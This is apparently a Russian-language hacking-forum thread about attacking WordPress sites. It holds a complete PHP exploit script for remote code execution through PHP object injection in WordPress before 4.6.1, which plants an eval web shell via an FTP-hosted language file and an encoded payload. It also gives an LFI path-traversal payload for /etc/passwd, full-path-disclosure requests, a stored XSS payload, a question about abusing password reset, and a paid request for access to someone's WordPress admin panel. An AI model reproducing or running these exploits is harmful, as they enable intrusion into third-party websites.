Судя по приведённому коду в блоге, при LFI, нуллбайт не обязателен и эксп может использоваться на свежих пыхах: wap=base64_encode(' /../wp-action.php/../../../../../../../../../../../etc/passwd ');
Wordpress < 4.6.1 RCE through PHP Object Injection by direct DB access От автора: От себя: Как я понял, это способ заливки шелла, когда есть доступ к БД, но нет доступа к ФС сервера. Меняете поле в БД, получаете выполнение кода на сервера, где запущен WP. PHP: <?php /* * Wordpress < 4.6.1 RCE through PHP Object Injection by direct DB access * coded by crlf * rdot.org * * http://site.com/wordpress/?rce=phpinfo(); * plural=1);}eval($_REQUEST['rce']);/* * */ $ftp = "ftp://127.0.0.1"; //FTP with anonymous access, only host, without slash $dir = "yyyy"; //any $file = "en_US.mo"; //don't change this $option_id = 94; //recent posts widget in 4.6.1 eval(" class WP_Theme{ private \$headers = array('Name'=>'Foo', 'TextDomain'=>'Bar'); private \$theme_root = '$ftp'; private \$stylesheet = '$dir'; } "); $default = 'a:2:{i:2;a:1:{s:5:"title";s:0:"";}s:12:"_multiwidget";i:1;}'; $arr = unserialize($default); $arr[2]['title'] = new WP_Theme; echo "\nPayload: \nUPDATE wp_options SET option_value = 0x".ascii2hex(serialize($arr))." WHERE wp_options.option_id = ".$option_id."\n"; echo "\nRestore: \nUPDATE wp_options SET option_value = 0x".ascii2hex($default)." WHERE wp_options.option_id = ".$option_id."\n"; echo "\nCheck it:\n\n$ftp/path/to/anonymous/directory/$dir/languages/$file\n\n"; if(!file_exists($file)) file_put_contents($file, gzdecode(base64_decode('H4sIAAAAAAAAA3VRz08UMRQu4mnkxMGThx40COQxO4uaTTd7EBiQZCcuu7NqYgwpM8/Zkm47aTsESLj5L/jv+V94982OChde8vV9bb/k/fh+bT79ySjWCS8Ib1gX4wf5OSEjPCOUhB9rjNV/338TjyhvPKHjveF4LZe1RvbK/6OefUCtLf9snS7ZxNlLLAKclvAJnVfWCD62heVHuLTRFGvrAmS+UiUcNJWH3AoeTT7mcOhQBpLDkQwoeL+XvIMkgX6fJ2/F/v5uj4KEMMUr5R/VDTrdWPoAuZPGaxmsoxJjaapGVgg5yqXgs1oa5Rf/nwVHD+ksmujGSQ3H1i294KZeXf2oP+QdHSXbwzu8kvr1y/NpejZPZ/nXLVfg1rftYbwTZadZej93steLDq0JaKiZm5qKBLwOca2lMkNeLKTzGEbz/BgG97q26e/oIDWFLZWpBB9cqBB9gXaLMLMNVWu51G3T5nw6p78TNOi6SVfLBr4IofYijnWrVB73LtRtzOZk4CWSa3ZlYEfJQKslzxpTWhb9AQtsWO0xAgAA'))); function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);} ?>
WordPress 4.6.2 через соседние самописные скрипты имею sql-injection (только просмотр БД) Пароли на расшифровке на неизвестное время Можно ли как то задействовать функцию восстановления пароля? Как привести в нормальный вид хеш содержащиеся в wp_users -> user_activation_key Вида (1484638848:$P$BT9pkNHDgo7gLHb1VaK1MoqYppOuC0) (пару символов неверны), что бы в URL'e указать
никак. user-activation-key зашифрован так же, как пароль. Он хранился в чистом виде только в древних версиях
Баг из разряда гипотетических: WP_Query is vulnerable to a SQL injection (SQLi) when passing unsafe data. WordPress core is not directly vulnerable to this issue, but we’ve added hardening to prevent plugins and themes from accidentally causing a vulnerability. https://github.com/WordPress/WordPress/commit/85384297a60900004e27e417eac56d24267054cb
Wordpress 4.*.* Full Path Disclosure wordpress/wp-login.php Code: POST: log[]=1&pwd[]=1&redirect_to[]= wp-json Code: GET: wordpress/wp-json/oembed/1.0/embed?format=xml&url[]=123 Code: Cookie: comment_author_email_dbdee7661db32144cd2347d98b860504[] Wordpress 4.7.2 Stored XSS Привилегии: Редактор+ /wp/wp-comments-post.php Code: POST: comment="><script>alert('XSS');</script>
раскрытие путей работает только через wp-login.php и то редко, wp-json вообще не работает, можно подробней?
Народ, нужна ваша помощь: 1 у кого-то когда-то срабатывали эксплоиты на ВП из метасплоита??? 2 - https://github.com/WordPress/WordPress/commit/85384297a60900004e27e417eac56d24267054cb как применить его на практике?
Всем доброго времени суток. Нужна помощь в получении доступа к админке WordPress 4.7.3, естественно не бесплатно. Можно в личку.